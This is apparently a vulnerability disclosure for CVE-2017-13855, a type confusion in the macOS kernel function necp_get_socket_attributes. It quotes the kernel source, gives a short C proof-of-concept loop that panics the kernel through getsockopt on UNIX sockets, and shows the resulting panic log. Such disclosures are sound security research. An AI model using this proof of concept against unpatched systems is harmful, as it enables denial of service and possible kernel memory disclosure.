MacOS so_pcb type confusion in necp_get_socket_attributes(CVE-2017-13855)

When getsockopt() [edited; original report said "setsockopt"] is called on any socket with level SOL_SOCKET and optname SO_NECP_ATTRIBUTES, necp_get_socket_attributes is invoked. necp_get_socket_attributes() unconditionally calls sotoinpcb(so): ``` errno_t necp_get_socket_attributes(struct socket *so, struct sockopt *sopt) { int error = 0; u_int8_t *buffer = NULL; u_int8_t *cursor = NULL; size_t valsize = 0; struct inpcb *inp = sotoinpcb(so); if (inp->inp_necp_attributes.inp_domain != NULL) { valsize += sizeof(struct necp_tlv_header) + strlen(inp->inp_necp_attributes.inp_domain); } [...] } ``` sotoinpcb() causes type confusion if so->so_pcb is of an unexpected type (because the socket is not an IPv4/IPv6 socket): ``` #define sotoinpcb(so) ((struct inpcb *)(so)->so_pcb) ``` If necp_get_socket_attributes() is called on a UNIX domain socket, this will cause the members of inp->inp_necp_attributes to be read from type-confused, probably also out-of-bounds memory behind the actual so->so_pcb (which is of type `struct unpcb`, which looks much smaller than `struct inpcb`). To trigger this bug, compile the following code, run it, and cause some system activity, e.g. by launching the browser (the PoC won't crash if so->so_pcb contains NULLs in the right spots). ``` #include <sys/types.h> #include <sys/un.h> #include <sys/socket.h> #include <err.h> #include <unistd.h> #define SO_NECP_ATTRIBUTES 0x1109 int main(void) { while (1) { int s = socket(AF_UNIX, SOCK_STREAM, 0); if (s == -1) err(1, "socket"); getsockopt(s, SOL_SOCKET, SO_NECP_ATTRIBUTES, NULL, NULL); close(s); } } ``` On macOS 10.13 (17A405), this causes the following crash: ``` *** Panic Report *** panic(cpu 2 caller 0xffffff800e78a611): Kernel trap at 0xffffff800e976930, type 14=page fault, registers: CR0: 0x000000008001003b, CR2: 0x000000fa000000cc, CR3: 0x0000000200037073, CR4: 0x00000000001627e0 RAX: 0x000000fa000000cc, RBX: 0x000000fa000000cb, RCX: 0xffffff800eb90aad, RDX: 0xffffff800eb90dcc RSP: 0xffffff8018de3e70, RBP: 0xffffff8018de3e90, RSI: 0xffffff8018de3ef0, RDI: 0xffffff8032ac66a8 R8: 0x0000000000000001, R9: 0xffffffff00000000, R10: 0x0000000000000000, R11: 0x0000000000000246 R12: 0xffffff80357cf7d0, R13: 0xffffff8032d69a08, R14: 0xffffff8018de3ef0, R15: 0xffffff8032ac66a8 RFL: 0x0000000000010206, RIP: 0xffffff800e976930, CS: 0x0000000000000008, SS: 0x0000000000000010 Fault CR2: 0x000000fa000000cc, Error code: 0x0000000000000000, Fault CPU: 0x2, PL: 0, VF: 1 ``` This bug should be usable for disclosing kernel memory.